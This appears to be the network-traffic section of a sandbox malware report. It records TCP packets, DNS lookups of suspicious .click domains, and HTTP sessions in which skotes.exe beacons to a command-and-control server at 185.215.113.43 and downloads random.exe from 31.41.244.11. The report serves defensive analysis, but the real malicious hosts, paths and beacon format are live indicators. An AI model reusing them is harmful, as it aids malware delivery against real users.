Dec 20, 2024 09:12:59.590126038 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.590251923 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.590481043 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.591176033 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.591226101 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.591298103 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.591346025 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.592228889 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.592304945 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.592315912 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.592370033 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.593846083 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.593945980 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.594017029 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.594326973 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.594371080 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.594505072 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.594551086 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.595419884 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.595566034 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.595618010 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.596458912 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.596541882 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.596736908 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.597517014 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.597568035 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.597605944 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.597656012 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.598530054 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.598642111 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.598748922 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.598840952 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.599579096 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.599627972 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.599668026 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.599709034 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.600639105 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.600817919 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.600888968 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.601663113 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.601732969 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.601768017 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.601824999 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.602741957 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.602812052 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.602865934 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.602988958 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.603789091 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.603908062 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.603957891 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.604841948 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.604892015 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.604918957 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.605191946 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.605879068 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.605969906 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.605971098 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.606069088 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.606925011 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.606978893 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.607017040 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.607255936 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.607935905 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.607981920 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.608068943 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.608109951 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.609004974 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.609071016 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.609097958 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.609277010 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.610042095 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.610089064 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.610167980 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.610209942 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.611125946 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.611218929 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.611251116 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.611429930 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.612214088 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.612268925 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.612390995 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.612436056 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.613276958 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.613331079 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.613370895 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.613413095 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.614258051 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.614314079 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.614341974 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.614411116 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.615322113 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.615407944 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.615439892 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.615478039 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.616367102 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.616413116 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.616451979 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.616497040 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.617436886 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.617525101 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.617552042 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.618463993 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.618499041 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.618509054 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.618576050 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.618618011 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.619481087 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.619597912 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.620184898 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.620527983 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.620588064 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.620625019 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.620670080 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.621627092 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.621686935 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.621732950 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.622627020 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.622679949 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.622728109 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.622850895 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.623677015 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.623786926 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.623836040 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.624725103 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.624779940 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.624861002 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.624926090 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.625845909 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.625895977 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.625955105 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.625997066 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.626935005 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.626991034 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.627032042 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.627139091 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.627904892 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.627979040 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.628016949 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.628063917 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.628926039 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.629048109 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.629101038 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.629977942 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.630101919 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.630105019 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.630152941 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.631020069 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.631133080 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.631181955 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.632078886 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.632240057 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.632296085 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.633078098 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.633128881 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.770479918 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.770558119 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.770962000 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.771018028 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.771035910 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.771481037 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.771992922 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.772042036 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.772360086 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.772485018 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.773396015 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.773461103 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.773516893 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.774440050 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.774477959 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.774498940 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.774518967 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.775506020 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.775624037 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.776556015 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.776638985 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.776669979 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.777620077 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.777678013 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.777709961 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.778295994 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.778651953 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.778878927 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.778992891 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.779735088 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.779783964 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.779855013 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.779902935 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.780792952 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.780858040 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.780872107 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.781788111 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.781835079 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.781888008 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.782166958 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.782821894 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.782939911 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.783346891 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.783970118 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.784022093 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.784456968 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.784986019 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.785029888 CET	49899	80	192.168.2.4	31.41.244.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 09:12:16.211950064 CET	192.168.2.4	1.1.1.1	0xd623	Standard query (0)	lossekniyyt.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 09:12:25.719496965 CET	192.168.2.4	1.1.1.1	0x87bd	Standard query (0)	cheapptaxysu.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 09:12:50.579420090 CET	192.168.2.4	1.1.1.1	0xf182	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 09:12:53.413379908 CET	192.168.2.4	1.1.1.1	0x9206	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 09:12:16.520761967 CET	1.1.1.1	192.168.2.4	0xd623	No error (0)	lossekniyyt.click	172.67.131.246	A (IP address)	IN (0x0001)	false
Dec 20, 2024 09:12:16.520761967 CET	1.1.1.1	192.168.2.4	0xd623	No error (0)	lossekniyyt.click	104.21.12.88	A (IP address)	IN (0x0001)	false
Dec 20, 2024 09:12:26.032991886 CET	1.1.1.1	192.168.2.4	0x87bd	No error (0)	cheapptaxysu.click	104.21.67.146	A (IP address)	IN (0x0001)	false
Dec 20, 2024 09:12:26.032991886 CET	1.1.1.1	192.168.2.4	0x87bd	No error (0)	cheapptaxysu.click	172.67.177.88	A (IP address)	IN (0x0001)	false
Dec 20, 2024 09:12:50.716479063 CET	1.1.1.1	192.168.2.4	0xf182	No error (0)	github.com	20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 20, 2024 09:12:53.551388025 CET	1.1.1.1	192.168.2.4	0x9206	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 20, 2024 09:12:53.551388025 CET	1.1.1.1	192.168.2.4	0x9206	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 20, 2024 09:12:53.551388025 CET	1.1.1.1	192.168.2.4	0x9206	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 20, 2024 09:12:53.551388025 CET	1.1.1.1	192.168.2.4	0x9206	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49747	185.215.113.43	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:03.520179033 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2024 09:12:04.869524002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49753	185.215.113.43	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:06.502734900 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 20, 2024 09:12:08.260624886 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 65 39 0d 0a 20 3c 63 3e 31 30 31 38 33 34 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 33 32 63 38 36 34 34 34 64 62 33 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 38 33 34 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 63 37 61 39 64 35 31 34 33 61 36 35 61 65 30 30 33 35 36 34 64 35 62 39 63 64 33 65 39 35 36 62 37 62 35 64 31 23 31 30 31 38 33 34 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 30 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 38 33 34 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 [TRUNCATED] Data Ascii: 6e9 <c>1018345001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1018346001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#1018347001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1018348001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709e5b03ac52ea484b411b9dc4e1#1018349001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1018350001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1018351001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdc76914a49ba1cf64d4a485a9592e100b7#1018352001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1018353001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1018354001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc97c994e5faf1cf64d4a485a9592e100b7#101 [TRUNCATED]
Dec 20, 2024 09:12:08.260663986 CET	124	IN	Data Raw: 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 37 37 30 39 33 34 35 34 31 62 66 35 64 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 38 33 35 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 Data Ascii: c02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1018356001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e8
Dec 20, 2024 09:12:08.496141911 CET	600	IN	Data Raw: 30 34 64 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 38 33 35 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 Data Ascii: 04d03ac52ea484b411b9dc4e1#1018357001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1018358001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1018359001+++fc8f7c1ed3c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49759	31.41.244.11	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:08.621934891 CET	61	OUT	GET /files/x3team/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 09:12:09.947356939 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:09 GMT Content-Type: application/octet-stream Content-Length: 3286016 Last-Modified: Wed, 18 Dec 2024 13:43:08 GMT Connection: keep-alive ETag: "6762d16c-322400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVP/Z/ 0@ 2@/K0@W`23/ H.text/ / `.rsrc@W0X/@@.reloc`2"2@B/H@C@z6+(B99(:+(^A(!(*(0(8yEcO/8^s :&8s8s 9& 8s 8s800000**00**
Dec 20, 2024 09:12:09.947455883 CET	224	IN	Data Raw: 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 Data Ascii: 0".**(~(s;(=t80*0(00
